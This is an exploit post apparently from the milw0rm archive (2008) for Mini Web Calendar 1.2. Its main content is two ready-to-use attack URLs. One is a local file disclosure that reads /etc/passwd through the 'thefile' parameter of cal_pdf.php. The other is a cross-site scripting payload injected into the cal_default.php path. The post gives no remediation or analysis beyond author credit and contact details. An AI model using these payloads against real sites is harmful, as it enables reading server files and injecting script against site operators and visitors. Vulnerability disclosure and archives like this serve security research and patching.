33 lines
No EOL
954 B
Text
33 lines
No EOL
954 B
Text
************************(XSS / FD Vulnerability)**************
|
|
|
|
script:Mini Web Calendar, ver. 1.2
|
|
|
|
|
|
************************************************************************************************************
|
|
download from:http://www.smolinari.com/srm/download/mwcal/mwcal.zip?PHPSESSID=84ivc1h7ohn8f9ra7cgn66fj94
|
|
|
|
************************************************************************************************************
|
|
|
|
|
|
......................................................................................
|
|
local file xpl:
|
|
|
|
http://www.site.com/mwcal/php/cal_pdf.php?thefile=/etc/passwd
|
|
|
|
xss xpl:
|
|
|
|
http://www.site.com/mwcal/php/cal_default.php/>'><ScRiPt>alert(0)</ScRiPt>
|
|
|
|
|
|
|
|
***************************************************
|
|
***************************************************
|
|
|
|
Author: ahmadbady from http://www.deltahacking.net
|
|
|
|
my mail: kivi_hacker666@yahoo.com
|
|
|
|
|
|
***************************************************
|
|
|
|
# milw0rm.com [2008-11-07] |